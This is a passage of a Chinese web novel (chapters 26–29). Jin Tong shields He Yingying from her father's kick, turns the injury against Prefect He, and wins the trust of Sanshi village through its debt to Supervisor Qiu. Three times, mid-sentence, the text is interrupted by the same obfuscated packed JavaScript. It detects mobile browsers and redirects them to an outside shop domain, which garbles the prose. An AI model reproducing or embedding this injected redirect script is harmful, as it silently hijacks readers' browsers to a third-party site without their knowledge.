他们关上门打开看，与齐峰的数量一致，不多不少三十两黄金。 只这一趟，他们就贪了近百两。 张学士怒拍彭昱的头，“什么话？你情我愿的事，怎么能叫贪呢？非要说的话，我这也是取之于民，用之于民，金桐你说是不是？” 经过一晚，金桐已经想通，对于张学士的做法，她虽无法赞同，但一时之间却也想不出更好的解决问题的法子。 “学士想得开就好。”金桐道。 “嘁，跟你们少年人说不明白。” 张学士求仁得仁，心情尚佳，哼着小曲往外走。 到了太守府，何太守派人去叫何盈盈。 何盈盈昨日被骂了一顿，今日没有三推五推的，很快便过来了。 只是整个人看起来比昨日更加半死不活。 她今日换了身藕荷色的衣裙，虽娇艳，却不如鹅黄色适合她。 见了人她也不说话，就杵在一旁作哑巴。 何太守对她这幅扶不上墙的样子恨得牙痒痒，手上使了些力道推她，“叫人啊。” 何盈盈皱了下眉，似是被推疼了，却没喊痛。 她缓缓抬起头，金桐发现她今日的妆也变了，发式也更繁琐，没有初见的清新天然之美，反而有些画蛇添足。 这些不需想就知道是谁的手笔。 何盈盈抬头就只看金桐，双手交叠于身侧，缓缓屈膝，旁若无人地行了一礼：“金小姐。” 金桐有样学样，回礼道：“何小姐。” 之后何盈盈就没了动作。 她铁了心不如何太守的意，未免太让人尴尬。 “逆女。”何太守恨恨道，抬腿便往何盈盈腿窝踹去。 金桐手疾眼快，一把拉过何盈盈，与她调了个位置。 何太守那一脚踢到了金桐的膝盖上。 他力道不清，踢得金桐往后倒去，还好被苏礼明出手扶住，才没有跌到地上。 金桐这一举动惹得他火气更盛，他刚要斥金桐多管闲事，抬头就对上四双冒火的眸子。 何太守像是被人兜头浇了一盆凉水，瞬间冷静下来。 别人的目光他可以不在意，张学士和苏礼明的态度却不容他忽视。 “是她自己撞上来的。”他试图撇清关系，但这还不够，他装模作样地去看金桐，“小友无碍吧？” “谁是你小友。”彭昱冷哼。 金桐抬手拦了一下，示意彭昱别再说了。 “恐怕有碍。”金桐头上渗出冷汗，“劳烦何太守替我叫大夫来。” 何太守道：“应当的，小友先进来坐下歇息。” 金桐不推拒，依着何太守的话坐下了。 何太守叫人去请大夫，路过何盈盈的时候，用手指点了她两下。 “你给我等着。” 何盈盈此时已经无心和他作对了，她眼睛红红的看着金桐，一心在为刚才的事内疚。 彭昱和周子衡看不得她这样，在一旁安抚她，但何盈盈都毫无反应。 金桐看了眼正慌乱地跟下人说话的何太守，悄悄对何盈盈招了招手。 彭昱和周子衡还在说着话，何盈盈不管不顾地走开了，来到了金桐旁边。 金桐叫她凑耳过来，在她耳边说道：“别伤心，我故意的。” 26. 看诊 何盈盈眨巴眨巴眼睛，不解金桐是何意，却也来不及问了。 何太守已经跟下人说完了话，回头看见何盈盈凑在金桐身边，斥道：“孽障，还不过来。” 张学士神色不悦：“两个女娃娃投缘，你就让她们在一处呆着吧。” 对于张学士的话何太守不敢反驳，他警告何盈盈道：“别再给我生事端。” 金桐看何盈盈在这也只有挨骂的份，等下大夫来了，何太守怕不是又要把气撒在何盈盈身上。 “何小姐今天受到惊吓，就别让她在这守着了。”金桐出声道。 何太守当下正理亏，金桐说什么他都咬牙认了。 他历经官场二十载，没想到有朝一日被一个娃娃给拿捏了。 “没听见吗？还杵着让人心烦？” 张学士和苏礼明面前，他不敢对金桐有任何不满，便拿何盈盈当出气筒。 若在往常，何盈盈巴不得挨两句骂就赶快走人。 现在却不同了，她担心地看着金桐的腿，有些犹豫。 金桐对她绽开一个安心的笑容，道：“去吧。” 何盈盈很听她的话，点点头离开了。 在众人中，何太守只敢不给何盈盈好脸色，现在人已经走了，他一下子没了主心骨，整个人就像霜打过的茄子，直不起腰来。 这边张学士和苏礼明冷着脸，那边彭昱和周子衡更是对他鼻子不是脸不是脸，看了一圈下来，只有金桐对他还算和颜悦色。 何太守却觉得金桐是最沾不得边的。 张学士和另外两人护着金桐也算正常，毕竟都是在监察院共事，邱监察也是出了名的护短。 苏礼明的态度可有些不同寻常了，堂堂国公府公子，对一个名不见经传的小丫头那么紧张是为了什么？ 昨日宴席上，他惦记苏礼明这根橄榄枝，便也对坐在他身边的金桐留了心。但他们之间看起来太过平常，他便没有多想，一心谋算着将女儿送进国公府做个妾室。 今日他可算看明白了，那两人的关系绝对不简单。 且不论苏礼明如何如何，只看金桐。 她叫他请大夫的时候，就任苏礼明搀着，仿佛此时对她而言再平常不过。 此刻她稳稳当当坐在椅子上，倒是苏礼明旁边站着。她说话时苏礼明还要弯下腰去听，她却坦然到没察觉一丝不妥。 他本还纳闷，监察院办事从来没有肥缺，与田地打交道，绝不是什么享福的活计，苏礼明堂堂国公府公子掺和掺和这事做什么？ 原来是醉翁之意不在酒。 苏礼明看着金桐的膝盖，低声道：“你一动脑筋，就要给自己身上添伤。” “什么？” 金桐没听懂他的意思。 苏礼明淡淡说出一处所在：“芍药园。” 金桐想起来了，赏花宴那次，她偷听刘义秉和李艾宁说话，为了不被他们看穿装作摔倒，扭伤了脚。 “还真是。”她傻笑了一下。 苏礼明表情却不轻松，道：“事情都有张学士在前顶着，你本不必去挡。” “那不好吧。”金桐故意曲解他的话，“何太守那一脚可铆足了劲，张学士年纪大了，受不住的。” 见她装傻，苏礼明便没再说什么，只等着大夫来看伤情。 何太守许是因为亏心，特意请了位女医来。 金桐伤在膝盖，查看伤处需掀起裤管，何太守叫府中下人就地竖起屏风，并领着众人出去回避。 片刻后，女医走出来，金桐整理好衣物，屏风撤下。 “大夫。”何太守率先迎上去，“我这位小友伤势如何？” 他出脚不轻，但在金桐挡上来时也紧急收了些力，心里虽知晓金桐不会有什么大碍，可以防万一，他还是特意交代了女医，对金桐的伤势避重就轻地说。 “大人放心，没伤及筋骨。” “还好，还好。”何太守夸张地松了一大口气。 只是这口气还没呼完，女医又道：“可是……” “可是什么？” 金桐悄悄勾起了嘴角，女医是何太守请来的人，当然会向着他说话，对此她早有准备。 女医回道：“可是这位小姐体质较为特殊，即便是皮肉伤，也需精心养护着，避免过多走动。” “什么意思？”何太守懵了。 女医往金桐那边看了一眼，心有余悸。 方才她避开众人给金桐检查伤势，她还没碰到金桐，金桐就喊痛。她连哄带骗，废了好大的力气才终于让金桐将伤处露出来。 她用手一碰，金桐就尖叫，她硬着头皮摸完了骨头，金桐已经在那拿着帕子拭泪。 娇贵的小姐她见过不少，就连何太守家的千金，她也为其看诊过。 但娇贵成这个样子的她还是第一次见。 女医心下无奈，她总不能当着人家的面直说这位小姐娇气吧。 “总之，好好养着吧。” 她留下一句话，挎上医箱匆匆告辞了。 何太守一头雾水，这怎么和他交代的不一样。 金桐侧着头，看得出眼眶微红，她方才叫得狠了，声音有些喑哑，像哭过一般。 “先别管我了。”她低头看了眼膝盖，“还是正事要紧。” 何太守听她说话简直窝火，不是她说自己有碍，要请大夫来看的吗？ 怎么这会儿又装无辜，显得是他借机回避正事一样。 张学士道：“金桐说得对，说正事吧。” 何太守有意维护齐、吴、马三人，答应了给他们一块散户田地，用于实行新法，好让他们交差。 他们今日就是为此而来。 苏礼明在岭南呆过一阵时日，此地并没表面太平。地主背靠太守，普通百姓与之矛盾较大，田里点火，暗箭伤人这样的事情都有发生。 这也是岭南产量不足的原因之一，相当一部分稻谷在尚未成熟之时就葬身火海了。 何太守对此不过多干涉，乐见他们逞凶斗狠，自己暗中操控粮价。 他们越斗，地主为了维护自身利益，便要靠他越紧，他便从中捞得越多。 岭南几个村落中，怨气最重的当属三石村，村民团结得很，一致对外，莫说那三个地主，就算是何太守本人去了，他们也未必会给面子。 苏礼明猜测，何太守欺他们不了解岭南情况，会哄骗他们去三石村。 他们倒不怕何太守将最难搞的村子交给他们，调和地主与百姓之间的矛盾，也是监察院的重要职责之一。 怕的是何太守不协助他们，还躲在后面拉偏架、放暗箭。 那事情就不好办了。 金桐这一临时起意，就是为了让何太守失去先机。 “太守打算将何处交予我们试行一种二收之法？”她问道。 何太守没有立刻回答。 他本想着将三石村交给他们。三石村的村民最为野蛮，目无法纪，倒是自己称病不出面，他们孤立无援，自会知难而退。 而自己也落不下口舌。 但因金桐受伤，一切都变了。 金桐虽为监察院最普通的学子，但好歹功名加身，他身为太守，可以忽视甚至轻视她， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868524|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不能打骂她。 她在太守府为他所伤已成定局，若他不能令这些人满意，他们有意拿次说事，上报监察院，后果就不是他能承受的了。 金桐见何太守迟迟不说话，便道：“三石村如何？那里田地集中，地势平缓，是为不二之选。” 何太守没想到他们竟主动跳入了陷阱之中，他虽怀疑，但被暗喜盖过。 “小友心中既然已有定夺，那便依小友所言，学士意下如何？” 张学士简单答道：“可以。” 何太守又惊又喜，没想到经过波折，事情仍是按照他的计划顺利进行。 他喜形于色，道：“我这便安排车马。” “有劳。”金桐与他客套，又道，“医女交代我静养，但金桐身负要事，不敢懈怠分毫，定要与学士他们一同前往。” 张学士道：“你身为监察院学子，自该如此。” 他们这一唱一和，何太守直觉有诈，果然下一瞬便听金桐说道：“然金桐自幼体弱，唯恐心有余而体不能行，现下膝盖受损，更有诸多不便，若有求于何大人，何大人应当不会拒绝，对吧？” 何太守看着金桐的模样，和体弱沾不得一点边。他还记得她宴上食量，可比自家女儿大了不少。 可眼下他又能如何，自己种下的因，便只能应下了：“这是自然，小友身体有何不适，尽管找我。” “有何大人这话，我便放手去做了。” 金桐做戏做全套，时刻记着自己是个行动不便的人，想要起身，先伸了手。 苏礼明配合地抬起小臂，让她搭上。 金桐借了些力，晃晃荡荡地站起来，道：“我们就不在此耽搁了。” 一直到太守府大门口，金桐上了马车，回头对何太守道：“太守不必担忧，请回吧。” 她越这么说，何太守的心里越不踏实，他站在门口目送着马车走远，垂头叹了口气，回了院子。 车夫在三石村村口拉了缰绳，马蹄原地踏了几下，扬起一阵尘土。 三石村便如其名，村口垒着三块巨石，最顶上那块刻出了凹印，用红墨填满，正是“三石村”三个字。 地里有人正在劳作，听到声音，抬起头来看，目光满含警惕。 他们几人下了马车，让车夫去旁边等着，不必进入三石村地界。 他们徒步走了进去，田里的老农不再原地看着，赤膊赤脚地上了岸，语气不善：“干什么的？” 金桐让张学士他们止步，独自上前问道：“老伯，今年地里情况可好？” 她生得好面向，长辈向来喜欢，老农粗声道：“好个屁，让那群狗娘养的用火燎了一半儿，不剩啥了。” “老伯说的那群狗……嗯……是谁啊？” 金桐心里虽然有猜测，但仍故意问道。 老农上下打量她一下，又抻着脖子往她身后看，道：“外地来的吧？行了，咱村里没什么好看的，闺女穿得干干净净，上别处玩去吧。” 老农挥手驱逐她，村路崎岖，金桐膝盖又不方便，往后退的时候感觉被什么绊了一下，踉跄两步，苏礼明快步上去扶住。 金桐站稳，仍好脾气道：“别赶我呀，老伯，我们不是来玩的。” 老农动作大开大合惯了，没想到她这金贵的小姐平地也能差点绊倒，有些淳朴地感到不好意思。 “那你是来做啥的？” 老农不会说道歉的话，只是耐着性子问她，这就是他们特有的示弱方式。 这对金桐来说就足够了，接收到了他的善意，金桐笑眯眯道：“我们是来帮你们的。” 27. 旧事 她走路都费劲，还说是来帮他们的，老农才不信她。 “胡扯。”老农道，他手上还有农活，不再跟她耽误时间，“你们快点走，咱村不欢迎外人。” 老农态度强硬，看来三石村与何太守他们的矛盾已经超出他们想象。 软的不行，金桐只能亮明身份。 她从袖中掏出令牌，给老农看，“老伯，我们是监察院的人，来这就是为了解决你们的问题。” 老农当她是普通外乡人的时候态度还算和善，一听他们是什么监察院的，便不那么客气了。 拜何太守所赐，在三石村的人眼中，当官的就没好人。 他将垂在脚边的锄头横起来在胸前，强硬地阻挡他们：“管你们什么监察院不监察院的，一定又是姓何的狗官派来作践咱们的，快滚！” 彭昱和周子衡感觉到了危险，一人守在张学士身侧，另一人则试图上前保护金桐。 金桐听到身后动静，抬手制止了，目光坚定地点了点头，让他们在原处别动。 她稳住了心绪，哄着老农道：“老伯别恼，我们与那姓何的不是一伙。” “你们明着不是一伙，背地里哪个不是官官相护，别废话，滚出三石村。” 老农虽然凶，但金桐发现他的抵触更多是对着苏礼明他们。 她一个年轻姑娘对三石村构不成威胁，青壮年才令他警惕。 想明白这一点，金桐拍了拍苏礼明的胳膊，道：“你在这别动，我自己过去和老伯说话。” 苏礼明自是不同意：“他们认了死理，你与他们说不通的。” “不试试怎么知道？常在地里与庄稼打交道的人不会是坏人，他们质朴勤劳，却没有得到好的对待，心里有怨念也是正常。我相信老伯不会伤害我。” 金桐试着往前走了两步，侧头对苏礼明道：“我去了，你在这等着。” 如她所料，老伯只是看着凶，不是随意伤人的人。 金桐独自走到他跟前，他没有过激的举动，只是有些不耐烦。 令牌还没收起来，被她攥在手里，她请求道：“老伯，可不可以带我去见村长？” 没等老农拒绝，她手腕翻转，掌心放着些碎银子。 老农脸上出现屈辱：“女娃娃少瞧不起人，今天就是把金蛋银蛋给俺，咱也不依。” “老伯找我要这钱，我还不给呢。”金桐笑，“我呀，只是让老伯看看，我带了钱来，和村长商议补偿三石村的事。” 他能做到富贵不移，却做不到拒绝金桐说给村子的补偿。 他看看金桐的脸，又看看她掌心的碎银子，神情松动。 “你不骗咱？” 金桐乘胜追击：“只我一人去而已。老伯看我肩不能扛，手不能提的，若事骗你，你就将我捆了丢出来。” 老农思索片刻，觉得她说得有道理，便高声唤来几个青壮。 方才金桐就留意到，老伯拦路的时候，田里的人虽然都各做各事，但显然留了心在他们身上。 他们劳作之时，随着弯腰起身的间隙，都会往他们这边看上一眼。 他们不动，不是漠不关心，而是对老农放心。 金桐猜想老农在村子里应该是位说得上话的长辈，便直接提出了去见村长的请求。 “你们在这看着点儿，要是有什么不对的，直接绑了。”老农对青壮们交代道，也没刻意压低声音避着他们，反而刻意说给他们听，就像是在警告。 “尤其是这个。”他锄头点点苏礼明，“那几个无所谓，就他是个练家子，你们小心点儿。” 麦色皮肤的汉子们拎着农作的器具，郑重点头：“唐叔放心。” 被称为唐叔的老农对金桐道：“跟我来吧。” 废了一番口舌，金桐终于得以踏入三石村地界。 走在村间小路上，她沿途四处张望。 远处有一片焦黑的空地，周围的稻子都长势喜人，那片地却倏然凹陷进去，很是怪异。 金桐指着那片焦地问道：“齐峰他们干的？” 唐叔往那边看了一眼，哼道：“刚还装不认识，这会儿连人名字都说出来了。” “是我说漏嘴了。”金桐坦笑认了，“方才是为了跟唐叔您套近乎，实在抱歉。现在您愿意相信我，我就没什么装下去的必要了。” “咱又傻又直，不懂你们当官的心里那些弯弯绕。” “唐叔过谦了。”金桐道。 “你别打岔。”唐叔道，“咱说的是实话，咱不聪明，但好歹活到半截入土了，看人还算准。” 他哼笑一声：“你这丫头长得乖，其实鬼精着呢。” 金桐不好意思地笑笑，小声问：“我有吗？” “俺说得到底对不对，丫头自己心里有数。” 唐叔回头瞥她一眼，金桐这才注意到，唐叔浑浊的眼珠有一种猛兽般的锐利。 被这样的目光近距离直视着，她也不慌。 收起多余的小心思，她反正问心无愧。唐叔要看，她就乖乖任他看。 唐叔看够了就转回了头，道：“丫头虽精，心却不差。” 到了一处简陋的院子，唐叔推开院门，径直走到里面的屋舍，轻轻敲响木门。 “进来。” 得到屋内之人的准许，唐叔推开门，金桐跟在身后探头。 这木屋不仅外面简陋，内里也不遑多让。 屋内竖着三排架子，上面密密麻麻塞满了账本，整间屋子仅有一扇窗，投进的光线有限，屋内显得拥挤和晦暗。 窗边有一张木桌，是唯一算得上明亮的地方，木桌旁逆光坐着一人。 “村长，村口来了群人，说是监察院的，这小丫头要见您，我给带过来了，其余人我让董壮他们先拦住了。” 村长回头，阳光穿过他稀疏干燥的头发。 他的发丝和长须已经灰白，面容布满沟壑和衰老的斑纹，但眸光仍然清明。 他伸手去够立在桌边的拐杖，说是拐杖，其实不过是根形状规整些的木棍。 借着拐杖的支撑，他缓缓站起来，道：“让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868525|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来吧。” 唐叔重返村口接人，村长则慢悠悠带着金桐出了院子，走上一座田坝。 他们走得很慢。 这位老人身上有一种岁月沉淀的安详， 村长望着脚下连绵的麦田，忽然问道：“监察院啊……邱监察还好吗？” “邱监察很好。”金桐凝视着走在前面的村长佝偻的脊背，回答道。 村长的声音苍老，仿佛穿越光阴，“上一次见她，已经是十多年前了。” 金桐安静聆听。 “那时我身体还好，邱监察也不过才双十出头。”村长回头打量了金桐一眼，“比你大不了多少。” 他这一回头，脚下步子却没停，金桐惊出一身冷汗，连忙上前并排将他搀住，她这才感觉到，宽大的衣服下，村长瘦得几乎已经皮包骨。 村长指着一望无际的稻田，欣慰道：“邱监察曾经来到这里，阻止了几家地主的阴谋，为我们保住了村里的田地，迄今为止，三石村仍是岭南最富庶的村子。” 听着邱监察年轻时的往事，金桐不免心中向往，心中暗自勾勒出邱监察初入仕途意气风发的模样。 可是即便村长言语中对三石村的现状诸多满意，但金桐却从苏礼明口中得知，三石村与何太守他们积怨已久，便从唐叔对他们的态度中也可窥见一二。 “但三石村也因此成为了他们的眼中钉，对吗？”金桐问道，“来的路上我看到了被烧光的稻田，这样的事情是不是每年都会发生？” 村长道：“田比人多，每年收成的粮除了供各家吃喝，还有余富贩卖，咱们都是穷苦出身，知道普通百姓生活的难处，不愿意跟着卖高价。大家看我们的粮价低，都来买，耽误了有些人的生意。” “即便这样，我们也绝不会与他们同流合污。” 何太守与地主们勾结在一处，利益相关，他们都将粮价定得高，便是逼百姓不买也得买。三石村的行为扰乱了他们的行市，站在他们利益的对立面，所以成为了他们针对打击的对象。 “人心不足。”金桐感慨，“您放心，今年的损失，我会想办法让他们补偿给大家。” “不用了，这么多年的针锋相对，大家也习惯了，有时候公道不是想讨就能讨得来的，哪怕是邱监察，也不能做到尽善尽美。” 村长摇摇头，长吸了一口气，喉咙发出挤压的声音，道：“这里面牵扯太多。邱监察当年为我们保下了这块田，没两天就被十万火急地召回了京里，她得罪了不该得罪的人，有人怕她再趟浑水啊。” “闺女啊，你千万不能因为我们引火烧身啊。” 竟有这样的事？ 何太守不过岭南一太守，邱监察当年即便资历尚浅，也不至于要避他的锋芒。 他的背后一定还有人。 “不该得罪的人是谁？”金桐问道。 村长却噤了声，对此避不谈及。 他从久远的追忆中回过神来，道：“我知道你们为了什么来的，何太守已经和我打过招呼了，便按你们的说法子办吧。” 28. 还恩 村长答应得轻松，金桐反而心里难受。 三石村凶名在外，她本以为说服村长需要费些口舌，却因这邱监察这一层牵扯，一切都变得如此简单。 一种责任感在金桐心中油然而起。 “您放心，我们决计不会让村子有任何损失。” “那都不妨事。村里的仓库还有余粮，足够大伙儿应付到明年了。” 该说的话说尽了，村长转了个身往回走，金桐仍扶着他。 “这是我们三石村欠邱监察的人情，你不用跟我保证什么，尽管放手做吧。” 他们回到院子，唐叔也正好带着张学士他们赶到。 村长道：“我这地方小，没什么坐着的地方，只能委屈大家站着说话了。” “老先生客气。”张学士道，“邱监察让我代她跟您问好。” 彭昱和周子衡意外地看着张学士，他们在村口站了大半个时辰，别无他法，只能干等，没想到邱监察与三石村村长竟是旧识，若是早说，他们早进得村里了。 感受到他们的目光，张学士毫不心虚：“我若提前说了，还用你们干什么？” 他对金桐点了点头，道：“做得不错。” 金桐惭愧：“方才村长也与我讲了邱监察与三石村的渊源，其实我并未做什么，一切都是靠着邱监察的面子。” 张学士道：“我只看结果。” 周子衡对金桐道：“你不必谦虚，你进村子凭的是你自己的本事，我们有目共睹。” 彭昱应声：“子衡说得不错。” 金桐便不再说什么。 村长很快召集了包括唐叔在内的村中各位长者，跟他们道出了自己的决定。 邱监察当年的事情，知道内情的人都已经相继离世，村长是现今唯一在世的知情人。 包括唐叔在内的几位长者言辞激烈，坚决反对，连带着看金桐他们的目光都重新带上了敌意。 村长拄着拐杖挡在他们的面前，将十多年前三石村田地得以留存的真相合盘而出，最后道了句：“三石村不养忘恩负义之人，我们受了监察院的恩，也到了该还的时候了。” 众人哑口无言，再无异议。 唐叔狠了狠心，道：“其实也不是多大事，再坏还能坏过用火燎了不成？” 彭昱小声道：“我们可不干那丧天良的事。” 几句话间，方还义愤填膺的长者们便咧嘴笑了。 “老唐说得对，是咱们心眼小了。” 金桐看着他们，想起在颍川为自己打理田地的农户，同样的淳朴善良，不禁眼眶一热。 他们与张学士商议收割的日子，苏礼明趁着他们说话，踱步道金桐旁边，问道：“可还站得住？” 他不说金桐倒忘了这一茬，起初是疼的，走得多了倒没什么感觉了。 她实话实说道：“早就不疼了。” 张学士他们说完了话，村里人还热情地留他们吃饭，他们盛情难却，应了下来。 唐叔招呼去他家，几位长者不服气，跟他就这件事又争了起来。 狭小的院子里简直乱成一锅粥了，你一言我一语，抻着脖子比嗓门儿，好像谁声音大谁就让人服气一样。 张学士听着他们这样，竟然还有些羡慕：“庄稼人身体真是好，听这声音底气就足，可比我强多咯。” 金桐几人忍俊不禁。 最后还是村长叫停，拍板道：“别吓到了客人，依我看，就去老唐家吧，他家离得近。” 几人觉得村长说得有理，他们因为些误会，让人家在村口站了好半天，现在又在院子里站了好半天。他们这些西京来的人各个金贵，受不得累，是得赶快找个地方歇下。 张学士谢道：“那便打扰了。” 他们离开村长的院子，往东走了片刻，便到了唐叔家。 唐叔家的院子比村长那大得多了，院子正中坐着个扎着冲天揪得小童，拿着一根柳条逗蛐蛐。 小童眼看这么大一群人进了自己家，连滚带爬地站起来扑到唐叔腿上，脸埋得死死的，不愿见人。 “出息。”唐叔揉了一把小童的脑袋，道：“这是俺孙子。” 他将小童从腿上扒下来，问他：“你阿奶和阿娘呢？” 小童不情愿地抬头，声音怯怯的：“阿奶和阿娘去河边洗衣服了。” 唐叔道：“你去把她们叫回来，再去村口喊你阿爹和董壮阿叔。” 小童听话地点头，也不知听进去多少，抬腿便往外跑。 “欸。”金桐一把拦住小童，道，“小孩子一个人去河边不安全，我和他一起吧。” “那我去村口喊人。”周子衡道，“董壮和……” “唐顺。”唐叔答道，“俺儿子叫唐顺。” 周子衡记住了名字，便往外走。 彭昱喊道：“等等，我和你一起。”便追了出去。 苏礼明对张学士道：“我和金桐去河边叫人。” 张学士坐在木凳上冲他们甩甩手，“一个也闲不下来，都去吧。” 金桐领着小童出了院子。 小童身后跟着他们俩，明先不自在，总是忍不住回头，跟她对上目光，又飞快地转过头。 几次下来，把金桐逗得直笑。 她一笑，小童就更不好意思，整张小脸就像熟透了的苹果。 “小弟弟叫什么名字？”金桐见他实在可爱，忍不住搭话。 “虎儿。”小童口齿不清地回答。 “虎儿几岁啦？”金桐又问道。 “五岁。” “有没有学过三字经？” 虎儿粗粗的两道眉毛挤在一起，没听懂金桐在问什么。 那便是没学过了，金桐用手指勾了一下他头顶的冲天揪，道：“五岁，也该念书了。” 不料虎儿回身一扑，抱住了她的腿，仰起通红的小脸，道：“姐姐，好看。” 被五岁的小孩子夸奖还是第一次，金桐用手指刮了下他的脸蛋，“谢虎儿夸奖。” 虎儿咧嘴笑了，一嘴漏风的小牙，看着憨憨的。 他转向苏礼明，想扑最终却没敢，“哥哥，好看。” 苏礼明道：“多谢。” 小孩子怕生，戒心放下得也快，两句话的功夫就跟他们拉进了距离，手里举着柳条欢快地跑来跑去。 金桐笑着提醒他：“虎儿慢些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868526|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，别摔了。” 苏礼明道：“摔了也没事，摔过之后长得更结实。” “这是什么道理？”金桐从未听过，忽然想到了什么，忍笑看着苏礼明，“你小时候是不是……” “是。”苏礼明知道她想要问什么，索性答了，还补充道，“景明就是摔得少了，娇气。” “有吗？” 苏景明性子有点恶劣，又有点爱撒娇，但好像和娇气沾不上边吧。 “景明小时候偷袭我不成，自己摔在地上抱着腿打滚儿，非说腿断了走不了路，要我背他。” 金桐听得想笑，还真是苏景明的风格，却见苏礼明扭头，眸光深沉如浓厚的墨潭，盯得她心跳错了几拍。 “比你娇气多了。” 金桐双颊发热，下意识去看虎儿，见虎儿在前面跑得正欢，才松了口气。 她不知道自己在心虚什么，有什么怕虎儿听见的。 “你背地里讲景明的坏话，回头我要告诉他。” 苏礼明没说话，默认同意了。 金桐将他不成，觉得不服气，凭什么他一句话就搅得自己心绪不宁，他反倒像个没事人一样？ 她郁闷地加快了脚步，闷头往前走。 到了河边，岸上蹲着两个女人，正在石头上敲打衣服。 虎儿欢快地跑过去，大声喊道：“阿娘——” 较为年轻的女子闻声转头，手在衣裙上蹭了蹭，张开双臂接住虎儿。 虎儿如同有鸟般冲撞进她怀中，脸埋在她脖颈间蹭来蹭去，咯咯咯笑个不停。 虎儿娘任由虎儿跟她亲近了一会儿，而后站起身来，对金桐和苏礼明问道：“你们是？” “他们是哥哥姐姐。”虎儿仰着脸对阿娘道。 虎儿阿娘揉了一把虎儿的后脑，仍疑惑地看着他们。 金桐道：“我们来唐叔家叨扰，唐叔让虎儿叫你和伯母归家，我们不放心，便跟来了。” 虎儿娘这下明白了，让他们稍等，去扶虎儿的阿奶，“娘，家里来客人了，爹叫我们回去呢。” 虎儿阿奶手拄着膝盖吃力地起身，因为蹲得久了，双腿有些僵直。 她单身撑着腰，姿态怪异地往前走了两步，道：“老了，胳膊腿不听使唤，让你们笑话啦。” 金桐连连摇头，见虎儿娘把洗好的衣物装进盆里，便要去帮她拿。 虎儿娘连忙躲开，“怎好叫客人碰这些。” 衣物沾水后重了不少，虎儿娘看着又矮小瘦弱，那盆和棒槌被她抱在腰间，看起来随时能将她带倒。 “我帮你拿一些，你好腾出手来牵虎儿。”金桐道。 “那孩子皮得很，不用人牵。”虎儿娘坚持，抻着脖子喊虎儿阿奶，“娘，你帮我拿这两个棒槌。” 虎儿阿奶站这一会儿也缓过来了，便走过去从盆里拎出棒槌，一手拎着一根，爽朗道：“丫头别操心，他娘看着个头小，力气其实大得很。要让客人帮着干活，咱的脸面还往哪放？” 见虎儿娘将盆抱得稳当，金桐便不强求，几人原路折返。 虎儿接到了阿娘和阿奶，兴奋不已，远远跑在前面。 “回家吃饭咯！” 29. 秘闻 他们回去，还没进院子就闻到饭菜飘香。 院子里露天支起了一张大桌子，旁边两个青年人穿着赤膊短打掂铁锅，应该就是唐叔口中的唐顺和董壮。 唐顺似有感应，扭头便见虎儿妈，憨厚地咧嘴笑了，手上也更加卖力地忙活着，随着他的动作，锅中窜起火焰，锅气瞬间四溢。 又一道次出锅。 唐叔也看见他们回来了，对虎儿娘和阿奶抱怨道：“咋这么慢？” 虎儿娘拍拍虎儿后背，虎儿便朝唐叔跑过去。 虎儿阿奶可一点不让着他，直冲道：“我和媳妇故意磨蹭，就想回来吃现成的！” 几位知道虎儿奶脾气的人发出了善意的笑声。 唐叔嘴角抽搐了一下，碍于人多，他强撑着一家之主的威严，嘴上不愿服软：“谁说让你回来做饭的，俩小子在哪用你上手？行了，快收拾收拾来吃饭！” 虎儿奶瞪了他一眼，懒得跟他废话，领着虎儿娘径直进屋去了。 张学士左手边坐着彭昱和周子衡，右边两个位子空着，是给金桐和苏礼明留的。 金桐和苏礼明便挨着张学士落座。 有人调侃唐叔：“弟媳妇这个脾气，你说你惹她干啥？” 唐叔也憋屈：“咱也没说啥啊？招呼一声就生气了！” “平常我就是太惯着她了，一点儿都说不得！” 正好虎儿奶换了身干净衣服从屋里出来，听见唐叔这句话，倚着门框问道：“又说什么呢？” 唐叔站起来，拉过虎儿奶按在自己旁边的凳子上，道：“能说什么？谁敢说什么？” 虎儿奶坐下后，他也跟着坐下，肩膀挨着肩膀，跟虎儿奶说：“你和顺子媳妇儿辛苦了，等会儿多吃点儿。” 虎儿奶点点头，表示很受用。 几位老人早就见怪不怪了，都只是友善地笑笑便罢。 倒是彭昱和周子衡这两人被震慑得睁大眼睛抿着嘴，怕自己哪句话不如这位大娘的意，惹她生气。 虎儿奶看出他们拘谨，眯着眼睛对他们笑：“没事儿啊孩子，就拿这儿当自己家。” 彭昱和周子衡没见过这种彪悍的老婆婆，任她说什么就是什么，点头如啄米。 虎儿妈帮丈夫擦了擦汗，在旁边帮着打下手，菜上齐后便入了座。 “都是些粗茶淡饭，不知道你们吃不吃得惯。”唐叔客气道。 桌上除了几道不常见的野菜，还有一条鱼和一只鸡。 